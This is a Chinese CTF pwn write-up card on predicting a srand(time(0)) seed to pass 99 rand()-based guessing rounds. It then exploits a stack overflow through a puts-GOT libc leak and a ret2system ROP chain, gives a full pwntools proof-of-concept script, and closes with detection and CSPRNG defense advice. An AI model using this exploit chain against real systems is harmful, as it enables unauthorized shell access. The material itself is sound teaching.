srand(time(0)) 时间种子伪随机预测:本地同秒复算 rand()%100+1 连过 99 次猜数关卡
ctf/pwn · verified
一句话结论
程序用 srand(time(0)) 做种子后循环 99 次比较 rand() % 100 + 1 与用户输入,只要在同一个秒内用目标同版本 libc 本地执行 srand(time(0)) 并逐个复算 rand() % 100 + 1,就能预测整段随机序列并通过猜数关卡;随后到达的 myread() 栈溢出可用常规 puts(puts_got) 泄 libc + ret2system 拿 shell。
原理
- 种子可预测:
time(0)只返回秒级时间戳,攻击者本地时间与目标相差通常不超过数秒;在本地对同版本 libc 调用srand(time(0)),可生成与目标完全一致的rand()序列(glibc 的rand是固定的 TYPE_3 加法反馈算法,跨版本在一段时期内稳定,但用目标 libc 最稳妥)。 - 比较的是 4 字节整数:反编译显示
v6 = rand() % 100 + 1; v4 = 0; read(0, &v4, 8uLL); if (v6 != v4) exit(0);。每轮先把v4清零,因此只发送 1 个字节chr(k)就会让v4的低字节等于 k、其余字节为 0,与v6(1–100)相等即可通过。 - 连续 99 次:序列一旦对齐,99 次判断全部通过;程序随后调用
myread()提供栈溢出/ROP 入口。 - 为什么不用暴力:100 种取值、99 轮,盲猜概率约
100^-99;预测种子后成功率只取决于“本地时间是否与目标同一秒”(远程需考虑网络延迟与时钟偏差,可在前后几秒内重试或按偏移枚举)。 - 首个输入不影响利用:首轮
read(0, buf, 0x12)+printf("I see,%s", buf)只是回显输入(格式串固定为"I see,%s",不能当格式串泄露);原文 exp 中由该回显读出的 stack 值实际未参与后续 ROP(%13$p为注释里的调试尝试),可忽略。
触发条件
- 目标程序使用
srand(time(0))+rand()生成安全相关随机数(如猜数、验证码、令牌)。 - 攻击者能在同一秒内完成本地复算并发送 99 个答案(本地/低延迟远程可行;高延迟可先对齐服务器时间或按 time±N 枚举)。
- 本地能加载与目标同版本的 libc(
ctypes.CDLL('./libc.so.6')),或已实现同款 glibc rand 算法。 - 通过猜数后有可利用的后续漏洞(本例为栈溢出)。
利用步骤
- 用
ldd/题目附件确认 libc 版本;用 ctypes 加载该 libc。 - 记录当前
time(0),调用libc.srand(seed)。 - 循环 99 次:
recvuntil("Please guess the number:"),计算k = libc.rand() % 100 + 1,发送chr(k)(单字节,避免换行卡住read)。 - 通过全部 99 轮后,程序给出奖励并进入
myread();构造 ROP:'a'*0x38 + pop_rdi + puts_got + puts_plt + read_setup泄 libc,再ret + pop_rdi + binsh + system。 - 若远程失败,按
time(0)-2 .. time(0)+2枚举种子重试,或先通过一次无害请求估算时钟偏差。
PoC
from pwn import *
from ctypes import cdll
import time
p = process('./pwn')
libc_so = ELF('./libc.so.6')
libcc = cdll.LoadLibrary('./libc.so.6')
p.recvuntil(b'Menlina: Well tarnished, tell me thy name.\n')
p.sendline(b'k')
p.recv(8)
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0xe8
libcc.srand(libcc.time(0))
for i in range(99):
p.recvuntil(b'Please guess the number:')
k = libcc.rand() % 100 + 1
p.send(chr(k))
p.recvuntil(b"Here's a reward to thy brilliant mind.\n")
rdi = 0x401423
puts_got = 0x404018
puts_plt = 0x4010B0
ret = 0x40101a
pl = b'a'*0x38 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x40125D)
p.sendline(pl)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc_so.symbols['puts']
system = libc_base + libc_so.symbols['system']
binsh = libc_base + next(libc_so.search(b'/bin/sh\x00'))
pl = b'a'*0x38 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendline(pl)
p.interactive()
变体与关联
- 种子偏移变体:远程时钟与本地不同步时,先发一个探测请求记录服务器时间(如响应头 Date),再按偏移选择种子;或离线枚举
time±N的少量候选。 - 算法变体:
rand()可换random()、JavaRandom、PHPmt_rand等,思路相同——找到种子空间(时间戳)并在本地复算。 - 同主题卡:
srand(time(0))作为 hash 混淆密钥的复算见 [[ctf-pwn-time-seed-hash-replay-partial-leak-libc]];未播种 rand 的数组越界利用见 [[ctf-pwn-unseeded-rand-array-oob-bound-overwrite-ret2win]]。 - 边界:如果目标使用
getrandom//dev/urandom或纳秒级种子,时间预测失效;如果网络 RTT 跨秒且无法重试,成功率下降。
检测与防御
- 检测/审计:源码中出现
srand(time(0))、srand(time(NULL))、rand()%N用于口令/令牌/猜数等安全判断;随机数可被预测的代码模式。 - 防御:安全场景禁止使用
rand()/srand(time()),改用getrandom()、/dev/urandom、secrets等 CSPRNG;一次性挑战使用服务端存储的随机 nonce 并限制尝试次数;不要把随机数比较结果作为唯一安全边界。